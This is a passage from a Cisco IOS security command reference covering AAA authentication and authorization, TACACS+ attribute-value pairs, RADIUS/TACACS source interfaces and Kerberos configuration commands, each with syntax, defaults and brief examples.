  6822. If authentication is not specifically set for a function, the default is none and no authentication is 
  6823. performed. Use the show running-config command to display lists of authentication methods. 
  6824. Table 5 AAA Authentication PPP Methods 
  6825. Keyword     Description     
  6826. if-needed     Does not authenticate if user has already been authenticated on a TTY line.     
  6827. krb5     Uses Kerberos 5 for authentication (can only be used for PAP authentication).     
  6828. local     Uses the local username database for authentication.     
  6829. none     Uses no authentication.     
  6830. radius     Uses RADIUS authentication.     
  6831. tacacs+     Uses TACACS+ authentication.     
  6832.  
  6833. Note This command cannot be used with TACACS or extended TACACS. 
  6834.  
  6835. Example
  6836. The following example creates an AAA authentication list called MIS-access for serial lines that 
  6837. use PPP. This authentication first tries to contact a TACACS+ server. If this action returns an 
  6838. error, the user is allowed access with no authentication. 
  6839. aaa authentication MIS-access ppp tacacs+ none
  6840. Related Commands
  6841. A dagger (å) indicates that this command is documented outside this chapter. 
  6842. aaa authentication local-override 
  6843. aaa new-model 
  6844. ppp authentication 
  6845.  
  6846. [12.3.0] aaa authentication username-prompt 
  6847. To change the text displayed when users are prompted to enter a username, use the aaa 
  6848. authentication username-prompt global configuration command. Use the no form of this 
  6849. command to return to the default username prompt text. 
  6850. aaa authentication username-prompt {text-string} 
  6851. no aaa authentication username-prompt {text-string} 
  6852. Syntax Description
  6853. text-string     String of text that will be displayed when the user is prompted to enter a 
  6854. username. If this text-string contains spaces or unusual characters, it must be enclosed in 
  6855. double-quotes (for example, "Enter your name:").     
  6856. Default
  6857. This command is disabled by default. 
  6858. Command Mode
  6859. Global configuration 
  6860. Usage Guidelines
  6861. This command first appeared in Cisco IOS Release 11.0. 
  6862. Use the aaa authentication username-prompt command to change the default text that the 
  6863. Cisco IOS software displays when prompting a user to enter a username. The no form of this 
  6864. command returns the username prompt to the default value: 
  6865. Username:
  6866. Some protocols (for example, TACACS+) have the ability to override the use of local username 
  6867. prompt information. Using the aaa authentication username-prompt command will not change 
  6868. the username prompt text in these instances. 
  6869.  
  6870. Note The aaa authentication username-prompt command does not change any dialog that is 
  6871. supplied by a remote TACACS+ server. 
  6872.  
  6873. Example
  6874. The following example changes the text for the username prompt: 
  6875. aaa authentication username-prompt "Enter your name here:"
  6876. Related Commands
  6877. A dagger (å) indicates that the command is documented outside this chapter. 
  6878. aaa authentication password-prompt 
  6879. aaa new-model 
  6880. enable password å 
  6881.  
  6882.  
  6883. [12.3.1] aaa authorization 
  6884. Use the aaa authorization global configuration command to set parameters that restrict a user's 
  6885. network access. Use the no form of this command to disable authorization for a function. 
  6886. aaa authorization {network | exec | command level} method 
  6887. no aaa authorization {network | exec | command level} 
  6888. Syntax Description
  6889. network     Runs authorization for all network-related service requests, including SLIP, PPP, 
  6890. PPP NCPs, and ARA protocol.     
  6891. exec     Runs authorization to determine if the user is allowed to run an EXEC shell. This facility 
  6892. might return user profile information such as autocommand information.     
  6893. command     Runs authorization for all commands at the specified privilege level.     
  6894. level     Specific command level that should be authorized. Valid entries are 0 through 15.     
  6895. method     One of the keywords in Table 6.     
  6896. Default
  6897. Authorization is disabled for all actions (equivalent to the keyword none). 
  6898. Command Mode
  6899. Global configuration 
  6900. Usage Guidelines
  6901. This command first appeared in Cisco IOS Release 10.0. 
  6902.  
  6903. Note There are five commands associated with privilege level 0: disable, enable, exit, help, and 
  6904. logout. If you configure AAA authorization for a privilege level greater than 0, these five 
  6905. commands will not be included in the privilege level command set. 
  6906.  
  6907. Use the aaa authorization command to create at least one, and up to four, authorization 
  6908. methods that can be used when a user accesses the specified function. 
  6909.  
  6910. Note This command, along with aaa accounting, replaces the tacacs-server suite of commands 
  6911. in previous versions of TACACS. 
  6912.  
  6913. The additional methods of authorization are used only if the previous method returns an error, not 
  6914. if it fails. Specify none as the final method in the command line to have authorization succeed 
  6915. even if all methods return an error. 
  6916. If authorization is not specifically set for a function, the default is none and no authorization is 
  6917. performed. 
  6918. Table 6 AAA Authorization Methods 
  6919. Keyword     Description     
  6920. tacacs+     Requests authorization information from the TACACS+ server.     
  6921. if-authenticated     Allows the user to access the requested function if the user is 
  6922. authenticated.     
  6923. none     No authorization is performed.     
  6924. local     Uses the local database for authorization.     
  6925. radius     Uses RADIUS to get authorization information.     
  6926. krb5-instance     Uses the instance defined by the Kerberos instance map command.     
  6927. The authorization command causes a request packet containing a series of attribute value pairs 
  6928. to be sent to the TACACS daemon as part of the authorization process. The daemon can do one 
  6929. of the following: 
  6930. ? Accept the request as is 
  6931. ? Make changes to the request 
  6932. ? Refuse the request, and hence, refuse authorization 
  6933. Table 7 describes attribute value (AV) pairs associated with the aaa authorization command. 
  6934. Registered users can find more information about TACACS+ and attribute pairs on Cisco 
  6935. Connection Online (CCO). 
  6936.  
  6937. Attribute     Description     Cisco IOS Release 
  6938. 11.0     Cisco IOS Release11.1     Cisco IOS Release11.2     
  6939. service=x     The primary service. Specifying a service attribute indicates that this is a request 
  6940. for authorization or accounting of that service. Current values are slip, ppp, arap, shell, tty-
  6941. daemon, connection, and system. This attribute must always be included.     yes     yes 
  6942.     yes     
  6943. protocol=x     A protocol that is a subset of a service. An example would be any PPP NCP. 
  6944. Currently known values are lcp, ip, ipx, atalk, vines, lat, xremote, tn3270, telnet, rlogin, pad, 
  6945. vpdn, http, and unknown.     yes     yes     yes     
  6946. cmd=x     A shell (EXEC) command. This indicates the command name for a shell command that is 
  6947. to be run. This attribute must be specified if service equals "shell." A NULL value indicates that 
  6948. the shell itself is being referred to.     yes     yes     yes     
  6949. cmd-arg=x     An argument to a shell (EXEC) command. This indicates an argument for the 
  6950. shell command that is to be run. Multiple cmd-arg attributes may be specified, and they are order 
  6951. dependent.     yes     yes     yes     
  6952. acl=x     ASCII number representing a connection access list. Used only when service=shell. 
  6953.     yes     yes     yes     
  6954. inacl=x     ASCII identifier for an interface input access list. Used with service=ppp and protocol=ip. 
  6955.     yes     yes     yes     
  6956. inacl#<n>     ASCII access list identifier for an input access list to be installed and applied to 
  6957. an interface for the duration of the current connect ion. Used with service=ppp and protocol=ip, 
  6958. and service service=ppp and protocol =ipx.     no     no     11.2(4)F     
  6959. outacl=x     ASCII identifier for an interface output access list. Used with service=ppp and 
  6960. protocol=ip, and service service=ppp and protocol=ipx. Contains an IP output access list for SLIP 
  6961. or PPP/IP (for example, outacl=4). The access list itself must be preconfigured on the router. Per-
  6962. user access lists do not currently work with ISDN interfaces.     yes (PPP/IP only)     yes 
  6963.     yes     
  6964. outacl#<n>     ACSII access list identifier for an interface output access list to be installed and 
  6965. applied to an interface for the duration of the current condition. Used with service=ppp and 
  6966. protocol=ip, and service service=ppp and protocol=ipx.     no     no     11.2(4)F     
  6967. zonelist=x     A numeric zonelist value. Used with service=arap. Specifies an AppleTalk 
  6968. zonelist for ARA (for example, zonelist=5).     yes     yes     yes     
  6969. addr=x     A network address. Used with service=slip, service=ppp, and protocol=ip. Contains the IP 
  6970. address that the remote host should use when connecting via SLIP or PPP/IP. For example, 
  6971. addr=1.2.3.4.     yes     yes     yes     
  6972. addr-pool=x     Specifies the name of a local pool from which to get the address of the remote 
  6973. host. Used with service=ppp and protocol=ip. 
  6974. Note that addr-pool works in conjunction with local pooling. It specifies the name of a local pool 
  6975. (which must be preconfigured on the network access server). Use the ip-local pool command to 
  6976. declare local pools. For example: 
  6977. ip address-pool local 
  6978. ip local pool boo 1.0.0.1 1.0.0.10 
  6979. ip local pool moo 2.0.0.1 2.0.0.20 
  6980. You can then use TACACS+ to return addr-pool=boo or addr-pool=moo to indicate the address 
  6981. pool from which you want to get this remote node's address.     yes     yes     yes     
  6982. routing=x     Specifies whether routing information is to be propagated to, and accepted from 
  6983. this interface. Used with service=slip, service=ppp, and protocol=ip. Equivalent in function to the 
  6984. /routing flag in SLIP and PPP commands. Can either be true or false (for example, routing=true). 
  6985.     yes     yes     yes     
  6986. route     Specifies a route to be applied to an interface. Used with service=slip, service=ppp, and 
  6987. protocol=ip. 
  6988. During network authorization, the route attribute can be used to specify a per-user static route, to 
  6989. be installed by TACACS+ as follows: 
  6990. route=" dst_address mask [ gateway ]" 
  6991. This indicates a temporary static route that is to be applied. dst_address, mask, and gateway are 
  6992. expected to be in the usual dotted-decimal notation, with the same meanings as in the familiar ip 
  6993. route configuration command on a network access server. 
  6994. If gateway is omitted, the peer's address is the gateway. The route is expunged when the 
  6995. connection terminates.     no     yes     yes     
  6996. route#<n>     Like the route AV pair, this specifies a route to be applied to an interface, but 
  6997. these routes are numbered, allowing multiple routes to be applied. Used with service=ppp and 
  6998. protocol=ip, and service=ppp and protocol=ipx.     no     no     11.2(4)F     
  6999. timeout=x     The number of minutes before an ARA session disconnects (for example, 
  7000. timeout=60). A value of zero indicates no timeout. Used with service=arap.     yes     yes 
  7001.     yes     
  7002. idletime=x     Sets a value, in minutes, after which an idle session is terminated. Does not work 
  7003. for PPP. A value of zero indicates no timeout.     no     yes     yes     
  7004. autocmd=x     Specifies an autocommand to be executed at EXEC startup (for example, 
  7005. autocmd=telnet muruga.com). Used only with service=shell.     yes     yes     yes     
  7006. noescape=x     Prevents user from using an escape character. Used with service=shell. Can be 
  7007. either true or false (for example, noescape=true).     yes     yes     yes     
  7008. nohangup=x     Used with service=shell. Specifies the nohangup option. Can be either true or 
  7009. false (for example, nohangup=false).     yes     yes     yes     
  7010. priv-lvl=x     Privilege level to be assigned for the EXEC. Used with service=shell. Privilege 
  7011. levels range from 0 to 15, with 15 being the highest.     yes     yes     yes     
  7012. callback-dialstring     Sets the telephone number for a callback (for example: callback-
  7013. dialstring=408-555-1212). Value is NULL, or a dial-string. A NULL value indicates that the service 
  7014. may choose to get the dialstring through other means. Used with service=arap, service=slip, 
  7015. service=ppp, service=shell. Not valid for ISDN.     no     yes     yes     
  7016. callback-line     The number of a TTY line to use for callback (for example: callback-line=4). Used 
  7017. with service=arap, service=slip, service=ppp, service=shell. Not valid for ISDN.     no     yes 
  7018.     yes     
  7019. callback-rotary     The number of a rotary group (between 0 and 100 inclusive) to use for callback 
  7020. (for example: callback-rotary=34). Used with service=arap, service=slip, service=ppp, 
  7021. service=shell. Not valid for ISDN.     no     yes     yes     
  7022. nocallback-verify     Indicates that no callback verification is required. The only valid value for 
  7023. this parameter is 1 (for example, nocallback-verify=1). Used with service=arap, service=slip, 
  7024. service=ppp, service=shell. There is no authentication on callback. Not valid for ISDN.     no 
  7025.     yes     yes     
  7026. tunnel-id     Specifies the username that will be used to authenticate the tunnel over which 
  7027. the individual user MID will be projected. This is analogous to the remote name in the vpdn 
  7028. outgoing command. Used with service=ppp and protocol=vpdn.     no     no     yes     
  7029. ip-addresses     Space-separated list of possible IP addresses that can be used for the end-point 
  7030. of a tunnel. Used with service=ppp and protocol=vpdn.     no     no     yes     
  7031. nas-password     Specifies the password for the network access server during the L2F tunnel 
  7032. authentication. Used with service=ppp and protocol=vpdn.     no     no     yes     
  7033. gw-password     Specifies the password for the home gateway during the L2F tunnel 
  7034. authentication. Used with service=ppp and protocol=vpdn.     no     no     yes     
  7035. rte-ftr-in#<n>     Specifies an input access list definition to be installed and applied to routing 
  7036. updates on the current interface for the duration of the current connection. Used with service=ppp 
  7037. and protocol=ip, and with service=ppp and protocol=ipx.     no     no     11.2(4)F     
  7038. rte-ftr-out#<n>     Specifies an output access list definition to be installed and applied to routing 
  7039. updates on the current interface for the duration of the current connection. Used with service=ppp 
  7040. and protocol=ip, and with service=ppp and protocol=ipx.     no     no     yes 11.2(4)F     
  7041. sap#<n>     Specifies static Service Advertising Protocol (SAP) entries to be installed for the 
  7042. duration of a connection. Used with service=ppp and protocol=ipx.     no     no     yes 
  7043. 11.2(4)F     
  7044. sap-fltr-in#<n>     Specifies an input SAP filter access list definition to be installed and applied on 
  7045. the current interface for the duration of the current connection. Used with service=ppp and 
  7046. protocol=ipx.     no     no     yes 11.2(4)F     
  7047. sap-fltr-out#<n>     Specifies an output SAP filter access list definition to be installed and 
  7048. applied on the current interface for the duration of the current connection. Used with service=ppp 
  7049. and protocol=ipx.     no     no     11.2(4)F     
  7050. pool-def#<n>     Used to define IP address pools on the network access server. Used with 
  7051. service=ppp and protocol=ip.     no     no     11.2(4)F     
  7052. source-ip=x     Used as the source IP address of all VPDN packets generated as part of a VPDN 
  7053. tunnel. This is equivalent to the Cisco vpdn outgoing global configuration command.     no 
  7054.     no     yes     
  7055. Examples
  7056. The following example specifies that TACACS+ authorization is used for all network-related 
  7057. requests. If this authorization method returns an error (if the TACACS+ server cannot be 
  7058. contacted), no authorization is performed and the request succeeds. 
  7059. aaa authorization network tacacs+ none
  7060.  
  7061. The following example specifies that TACACS+ authorization is run for level 15 commands. If this 
  7062. authorization method returns an error (that is, if the TACACS+ server cannot be contacted), no 
  7063. authorization is performed and the request succeeds. 
  7064. aaa authorization command 15 tacacs+ none
  7065. Related Commands
  7066. A dagger (å) indicates that the command is documented outside this chapter. 
  7067. aaa accounting å 
  7068. aaa new-model 
  7069.  
  7070. [12.3.2] aaa authorization config-commands 
  7071. To disable AAA configuration command authorization in the EXEC mode, use the no form of the 
  7072. aaa authorization config-commands global configuration command. Use the standard form of 
  7073. this command to reestablish the default created when the aaa authorization command level 
  7074. method command was issued. 
  7075. aaa authorization config-commands 
  7076. no aaa authorization config-commands 
  7077. Syntax Description
  7078. This command has no arguments or keywords. 
  7079. Default
  7080. After the aaa authorization command level method has been issued, this command is enabled 
  7081. by default---meaning that all configuration commands in the EXEC mode will be authorized. 
  7082. Command Mode
  7083. Global configuration 
  7084. Usage Guidelines
  7085. This command first appeared in Cisco IOS Release 11.2. 
  7086. If aaa authorization command level method is enabled, all commands, including configuration 
  7087. commands, are authorized by AAA using the method specified. Because there are configuration 
  7088. commands that are identical to some EXEC-level commands, there can be some confusion in the 
  7089. authorization process. Using no aaa authorization config-commands stops the network access 
  7090. server not from attempting configuration command authorization. 
  7091. Once the no form of this command has been issued, AAA authorization of configuration 
  7092. commands is completely disabled. Care should be taken before issuing the no form of this 
  7093. command because it potentially reduces the amount of administrative control on configuration 
  7094. commands. 
  7095. Use the aaa authorization config-commands command if, after using the no form of this 
  7096. command, you need to reestablish the default set by the aaa authorization command level 
  7097. method command. 
  7098. Example
  7099. The following example specifies that TACACS+ authorization is run for level 15 commands and 
  7100. that AAA authorization of configuration commands is disabled: 
  7101. aaa new-model
  7102. aaa authorization command 15 tacacs+ none
  7103. no aaa authorization config-commands
  7104. Related Commands
  7105. aaa authorization 
  7106.  
  7107. [12.3.3] aaa new-model 
  7108. To enable the AAA access control model, issue the aaa new-model global configuration 
  7109. command. Use the no form of this command to disable this functionality. 
  7110. aaa new-model 
  7111. no aaa new-model 
  7112. Syntax Description
  7113. This command has no arguments or keywords. 
  7114. Default
  7115. AAA is not enabled. 
  7116. Command Mode
  7117. Global configuration 
  7118. Usage Guidelines
  7119. This command first appeared in Cisco IOS Release 10.0. 
  7120. This command enables the AAA access control system and TACACS+. If you initialize AAA 
  7121. functionality and later decide to use TACACS or extended TACACS, issue the no version of this 
  7122. command before you enable the version of TACACS that you want to use. 
  7123. After enabling AAA/TACACS+ with the aaa new-model command, you must use the tacacs-
  7124. server key command to set the authentication key used in all TACACS+ communications with 
  7125. the TACACS+ daemon. 
  7126. Example
  7127. The following example initializes AAA and TACACS+: 
  7128. aaa new-model
  7129. Related Commands
  7130. A dagger (å) indicates that the command is documented outside this chapter. 
  7131. aaa accounting å 
  7132. aaa authentication arap 
  7133. aaa authentication enable default 
  7134. aaa authentication local-override 
  7135. aaa authentication login 
  7136. aaa authentication ppp 
  7137. aaa authorization 
  7138. tacacs-server key 
  7139.  
  7140. [12.3.4] arap authentication 
  7141. To enable AAA authentication for ARA on a line, use the arap authentication line configuration 
  7142. command. Use the no form of the command to disable authentication for an ARA line. 
  7143. arap authentication {default | list-name} 
  7144. no arap authentication {default | list-name} 
  7145.  
  7146. Caution If you use a list-name value that was not configured with the aaa authentication arap 
  7147. command, ARA protocol will be disabled on this line. 
  7148. Syntax Description
  7149. default     Default list created with the aaa authentication arap command.     
  7150. list-name     Indicated list created with the aaa authentication arap command.     
  7151. Default
  7152. ARA protocol authentication uses the default set with aaa authentication arap command. If no 
  7153. default is set, the local user database is checked. 
  7154. Command Mode
  7155. Line configuration 
  7156. Usage Guidelines
  7157. This command first appeared in Cisco IOS Release 11.0. 
  7158. This command is a per-line command that specifies the name of a list of AAA authentication 
  7159. methods to try at login. If no list is specified, the default list is used (whether or not it is specified 
  7160. in the command line). You create defaults and lists with the aaa authentication arap command. 
  7161. Entering the no version of arap authentication has the same effect as entering the command 
  7162. with the default argument. 
  7163. Before issuing this command, create a list of authentication processes by using the aaa 
  7164. authentication arap global configuration command. 
  7165. Example
  7166. The following example specifies that the TACACS+ authentication list called MIS-access is used 
  7167. on ARA line 7: 
  7168. line 7
  7169. arap authentication MIS-access
  7170. Related Command
  7171. aaa authentication arap 
  7172.  
  7173. [12.3.5] clear kerberos creds 
  7174. Use the clear kerberos creds EXEC command to delete the contents of your credentials cache. 
  7175. clear kerberos creds 
  7176. Syntax Description
  7177. This command has no keywords or arguments. 
  7178. Command Mode
  7179. EXEC 
  7180. Usage Guidelines
  7181. This command first appeared in Cisco IOS Release 11.1. 
  7182. Credentials are cleared when the user logs out. 
  7183. Cisco supports Kerberos 5. 
  7184. Example
  7185. The following example illustrates the clear kerberos creds command: 
  7186. cisco-2500> show kerberos creds 
  7187. Default Principal: chet@cisco.com
  7188. Valid Starting          Expires                 Service Principal
  7189. 18-Dec-1995 16:21:07    19-Dec-1995 00:22:24    krbtgt/CISCO.COM@CISCO.COM
  7190.  
  7191. cisco-2500> clear kerberos creds
  7192. cisco-2500> show kerberos creds 
  7193. No Kerberos credentials.
  7194.  
  7195. cisco-2500>
  7196. Related Command
  7197. show kerberos creds 
  7198.  
  7199. [12.3.6] enable last-resort 
  7200. To specify what happens if the TACACS and extended TACACS servers used by the enable 
  7201. command do not respond, use the enable last-resort global configuration command. Use the no 
  7202. form of this command to restore the default. 
  7203. enable last-resort {password | succeed} 
  7204. no enable last-resort {password | succeed} 
  7205. Syntax Description
  7206. password     Allows you to enter enable mode by entering the privileged command level 
  7207. password. A password must contain from 1 to 25 uppercase and lowercase alphanumeric 
  7208. characters.     
  7209. succeed     Allows you to enter enable mode without further question.     
  7210. Default
  7211. Access to enable mode is denied. 
  7212. Command Mode
  7213. Global configuration 
  7214. Usage Guidelines
  7215. This command first appeared in Cisco IOS Release 10.0. 
  7216. The secondary authentication is used only if the first attempt fails. 
  7217.  
  7218. Note This command is not used in AAA/TACACS+, which uses the aaa authentication suite of 
  7219. commands instead. 
  7220.  
  7221. Example
  7222. In the following example, if the TACACS servers do not respond to the enable command, the 
  7223. user can enable by entering the privileged level password: 
  7224. enable last-resort password
  7225. Related Command
  7226. A dagger (å) indicates that the command is documented outside this chapter. 
  7227. enable å 
  7228.  
  7229.  
  7230. [12.3.7] enable use-tacacs 
  7231. To enable use of the TACACS to determine whether a user can access the privileged command 
  7232. level, use the enable use-tacacs global configuration command. Use the no form of this 
  7233. command to disable TACACS verification. 
  7234. enable use-tacacs 
  7235. no enable use-tacacs 
  7236.  
  7237. Caution If you use the enable use-tacacs command, you must also use the tacacs-server 
  7238. authenticate enable command, or you will be locked out of the privileged command level. 
  7239. Syntax Description
  7240. This command has no arguments or keywords. 
  7241. Default
  7242. Disabled 
  7243. Command Mode
  7244. Global configuration 
  7245. Usage Guidelines
  7246. This command first appeared in Cisco IOS Release 10.0. 
  7247. When you add this command to the configuration file, the EXEC enable command prompts for a 
  7248. new username and password pair. This pair is then passed to the TACACS server for 
  7249. authentication. If you are using extended TACACS, it also passes any existing UNIX user 
  7250. identification code to the server. 
  7251.  
  7252. Note This command initializes TACACS. Use the tacacs server-extended command to initialize 
  7253. extended TACACS, or use the aaa new-model command to initialize AAA/TACACS+. 
  7254.  
  7255. Example
  7256. The following example sets TACACS verification on the privileged EXEC-level login sequence: 
  7257. enable use-tacacs
  7258. tacacs-server authenticate enable
  7259. Related Command
  7260. A dagger (å) indicates that the command is documented outside this chapter. 
  7261. tacacs-server authenticate enable å 
  7262.  
  7263.  
  7264. [12.3.8] ip radius source-interface 
  7265. Use the ip radius source-interface global configuration command to force RADIUS to use the IP 
  7266. address of a specified interface for all outgoing RADIUS packets. Use the no form of this 
  7267. command to disable use of a specified interface IP address. 
  7268. ip radius source-interface subinterface-name 
  7269. no ip radius source-interface 
  7270. Syntax Description
  7271. subinterface-name     Name of the interface that RADIUS uses for all of its outgoing packets.     
  7272. Default
  7273. This command has no factory-assigned default. 
  7274. Command Mode
  7275. Global configuration 
  7276. Usage Guidelines
  7277. This command first appeared in Cisco IOS Release 11.1. 
  7278. Use this command to set a subinterface's IP address to be used as the source address for all 
  7279. outgoing RADIUS packets. This address is used as long as the interface is in the up state. In this 
  7280. way, the RADIUS server can use one IP address entry for every network access client instead of 
  7281. maintaining a list of IP addresses. 
  7282. This command is especially useful in cases where the router has many interfaces, and you want 
  7283. to ensure that all RADIUS packets from a particular router have the same IP address. 
  7284. The specified interface must have an IP address associated with it. If the specified subinterface 
  7285. does not have an IP address or is in a down state, then RADIUS reverts to the default. To avoid 
  7286. this, add an IP address to the subinterface or bring the interface to the up state. 
  7287. Example
  7288. The following example makes RADIUS use the IP address of subinterface s2 for all outgoing 
  7289. RADIUS packets: 
  7290. ip radius source-interface s2
  7291. Related Commands
  7292. A dagger (å) indicates that the command is documented outside this chapter. 
  7293. ip tacacs source-interface å 
  7294. ip telnet source-interface å 
  7295. ip tftp source-interface å 
  7296.  
  7297. [12.3.9] ip tacacs source-interface 
  7298. Use the ip tacacs source-interface global configuration command to force TACACS to use the 
  7299. IP address of a specified interface for all outgoing TACACS packets. Use the no form of this 
  7300. command to disable use of a specified interface IP address. 
  7301. ip tacacs source-interface subinterface-name 
  7302. no ip tacacs source-interface 
  7303. Syntax Description
  7304. subinterface-name     Name of the interface that TACACS uses for all of its outgoing packets.     
  7305. Default
  7306. This command has no factory-assigned default. 
  7307. Command Mode
  7308. Global configuration 
  7309. Usage Guidelines
  7310. This command first appeared in Cisco IOS Release 11.1. 
  7311. Use this command to set a subinterface's IP address for all outgoing TACACS packets. This 
  7312. address is used as long as the interface is in the up state. In this way, the TACACS server can 
  7313. use one IP address entry associated with the network access client instead of maintaining a list of 
  7314. all IP addresses. 
  7315. This command is especially useful in cases where the router has many interfaces, and you want 
  7316. to ensure that all TACACS packets from a particular router have the same IP address. 
  7317. The specified interface must have an IP address associated with it. If the specified subinterface 
  7318. does not have an IP address or is in a down state, TACACS reverts to the default. To avoid this, 
  7319. add an IP address to the subinterface or bring the interface to the up state. 
  7320. Example
  7321. The following example makes TACACS use the IP address of subinterface s2 for all outgoing 
  7322. TACACS (TACACS, extended TACACS, or TACACS+) packets: 
  7323. ip tacacs source-interface s2
  7324. Related Commands
  7325. A dagger (å) indicates that the command is documented outside this chapter. 
  7326. ip radius source-interface å 
  7327. ip telnet source-interface å 
  7328. ip tftp source-interface å 
  7329.  
  7330. [12.4.0] kerberos clients mandatory 
  7331. Use the kerberos clients mandatory global configuration command to cause the rsh, rcp, 
  7332. rlogin, and telnet commands to fail if they cannot negotiate the Kerberos protocol with the 
  7333. remote server. Use the no form of this command to disable this option. 
  7334. kerberos clients mandatory 
  7335. no kerberos clients mandatory 
  7336. Syntax Desctiption
  7337. This command has no arguments or keywords. 
  7338. Default
  7339. Disabled 
  7340. Command Mode
  7341. Global configuration 
  7342. User Guidelines
  7343. This command first appeared in Cisco IOS Release 11.2. 
  7344. If this command is not configured and the user has Kerberos credentials stored locally, the rsh, 
  7345. rcp, rlogin, and telnet commands attempt to negotiate the Kerberos protocol with the remote 
  7346. server and will use the un-Kerberized protocols if unsuccessful. 
  7347. If this command is not configured and the user has no Kerberos credentials, the standard 
  7348. protocols for rcp and rsh are used to negotiate the Keberos protocol. 
  7349. Example
  7350. The following example illustrates the kerberos clients mandatory command: 
  7351. kerberos clients mandatory
  7352. Related Commands
  7353. A dagger (å) indicates that this command is documented outside this chapter. 
  7354. copy rcp å 
  7355. kerberos credentials forward 
  7356. rlogin å 
  7357. rsh å 
  7358. telnet å 
  7359.  
  7360. [12.4.1] kerberos credentials forward 
  7361. Use the kerberos credentials forward global configuration command to force all network 
  7362. application clients on the router to forward users' Kerberos credentials upon successful Kerberos 
  7363. authentication. Use the no form of this command to turn off Kerberos credentials forwarding. 
  7364. kerberos credentials forward 
  7365. no kerberos credentials forward 
  7366. Syntax Description
  7367. This command has no arguments or keywords. 
  7368. Default
  7369. Disabled 
  7370. Command Mode
  7371. Global configuration 
  7372. Usage Guidelines
  7373. This command first appeared in Cisco IOS Release 11.2. 
  7374. Enable credentials forwarding to have users' TGTs forwarded to the host they authenticate to. In 
  7375. this way, users can connect to multiple hosts in the Kerberos realm without running the KINIT 
  7376. program each time they need to get a TGT. 
  7377. Example
  7378. The following example illustrates the kerberos credentials forward command: 
  7379. kerberos credentials forward 
  7380. Related Commands
  7381. A dagger (å) indicates that the command is documented outside this chapter. 
  7382. copy rcp å 
  7383. rlogin å 
  7384. rsh å 
  7385. telnet å 
  7386.  
  7387. [12.4.2] kerberos instance map 
  7388. Use the kerberos instance map global configuration command to map Kerberos instances to 
  7389. Cisco IOS privilege levels. Use the no form of this command to remove a Kerberos instance map. 
  7390. kerberos instance map instance privilege-level 
  7391. no kerberos instance map instance 
  7392. Syntax Description 
  7393. instance     Name of a Kerberos instance.     
  7394. privilege-level     The privilege level at which a user is set if the user's Kerberos principle contains 
  7395. the matching Kerberos instance. You can specify up to 16 privilege levels, using numbers 0 
  7396. through 15. Level 1 is normal EXEC-mode user privileges.     
  7397. Default
  7398. Privilege level 1 
  7399. Command Mode
  7400. Global configuration 
  7401. Usage Guidelines
  7402. This command first appeared in Cisco IOS Release 11.2. 
  7403. Use this command to create user instances with access to administrative commands. 
  7404. Example
  7405. In the following example, the privilege level is set to 15 for authenticated Kerberos users with the 
  7406. admin instance in Kerberos realm cisco.com: 
  7407. kerberos instance map admin 15
  7408. Related Command
  7409. aaa authorization 
  7410.  
  7411. [12.4.3] kerberos local-realm 
  7412. Use the kerberos local-realm global configuration command to specify the Kerberos realm in 
  7413. which the router is located. Use the no form of this command to remove the specified Kerberos 
  7414. realm from this router. 
  7415. kerberos local-realm kerberos-realm 
  7416. no kerberos local-realm 
  7417. Syntax Description 
  7418. kerberos-realm     The name of the default Kerberos realm. A Kerberos realm consists of users, 
  7419. hosts, and network services that are registered to a Kerberos server. The Kerberos realm must 
  7420. be in uppercase letters.     
  7421. Default
  7422. Disabled 
  7423. Command Mode
  7424. Global configuration 
  7425. Usage Guidelines
  7426. This command first appeared in Cisco IOS Release 11.1. 
  7427. The router can be located in more than one realm at a time. However, there can only be one 
  7428. instance of Kerberos local-realm. The realm specified with this command is the default realm. 
  7429. Example
  7430. The following example illustrates the kerberos local realm command: 
  7431. kerberos local-realm MURUGA.COM
  7432. Related Commands
  7433. kerberos preauth 
  7434. kerberos realm 
  7435. kerberos server 
  7436. kerberos srvtab entry 
  7437. kerberos srvtab remote 
  7438.  
  7439. [12.4.4] kerberos preauth 
  7440. Use the kerberos preauth global configuration command to specify a preauthentication method 
  7441. to use to communicate with the KDC. Use the no form of this command to disable Kerberos 
  7442. preauthentication. 
  7443. kerberos preauth [encrypted-unix-timestamp | none] 
  7444. no kerberos preauth 
  7445. Syntax Description 
  7446. encrypted-unix-timestamp     Use an encrypted UNIX timestamp as a quick authentication 
  7447. method when communicating with the KDC.     
  7448. none     Do not use Kerberos preauthentication.     
  7449. Default
  7450. Disabled 
  7451. Command Mode
  7452. Global Configuration 
  7453. Usage Guidelines
  7454. This command first appeared in Cisco IOS Release 11.2. 
  7455. It is more secure to use a preauthentication for communications with the KDC. However, 
  7456. communication with the KDC will fail if the KDC does not support this particular version of 
  7457. kerberos preauth. If that happens, turn off the preauthentication with the none option. 
  7458. The no form of this command is equivalent to using then none keyword. 
  7459. Example
  7460. The following example illustrates how to enable and disable Kerberos preauthentication: 
  7461. kerberos preauth encrypted-unix-timestamp
  7462. kerberos preauth none 
  7463. Related Commands
  7464. kerberos local-realm 
  7465. kerberos server 
  7466. kerberos srvtab entry 
  7467. kerberos srvtab remote 
  7468.  
  7469. [12.4.5] kerberos realm 
  7470. Use the kerberos realm global configuration command to map a host name or Domain Naming 
  7471. System (DNS) domain to a Kerberos realm. Use the no form of this command to remove a 
  7472. Kerberos realm map. 
  7473. kerberos realm {dns-domain | host} kerberos-realm 
  7474. no kerberos realm {dns-domain | host} kerberos-realm 
  7475. Syntax Description 
  7476. dns-domain     Name of a DNS domain or host.     
  7477. host     Name of a DNS host.     
  7478. kerberos-realm     Name of the Kerberos realm the specified domain or host belongs to.     
  7479. Default
  7480. Disabled 
  7481. Command Mode
  7482. Global configuration 
  7483. Usage Guidelines
  7484. This command first appeared in Cisco IOS Release 11.1. 
  7485. DNS domains are specified with a leading dot (.) character; hostnames cannot begin with a dot (.) 
  7486. character. There can be multiple entries of this line. 
  7487. A Kerberos realm consists of users, hosts, and network services that are registered to a Kerberos 
  7488. server. The Kerberos realm must be in uppercase letters. The router can be located in more than 
  7489. one realm at a time. Kerberos realm names must be in all uppercase characters. 
  7490. Example
  7491. The following example illustrates the kerberos realm command: 
  7492. kerberos realm .muruga.com MURUGA.COM
  7493. kerberos realm muruga.com MURUGA.COM
  7494. Related Commands
  7495. kerberos local-realm 
  7496. kerberos server 
  7497. kerberos srvtab entry 
  7498. kerberos srvtab remote 
  7499.  
  7500. [12.4.6] kerberos server 
  7501. Use the kerberos server global configuration command to specify the location of the Kerberos 
  7502. server for a given Kerberos realm. Use the no form of this command to remove a Kerberos server 
  7503. for a specified Kerberos realm. 
  7504. kerberos server kerberos-realm {hostname | ip-address} [port-number] 
  7505. no kerberos server kerberos-realm {hostname | ip-address} 
  7506. Syntax Description 
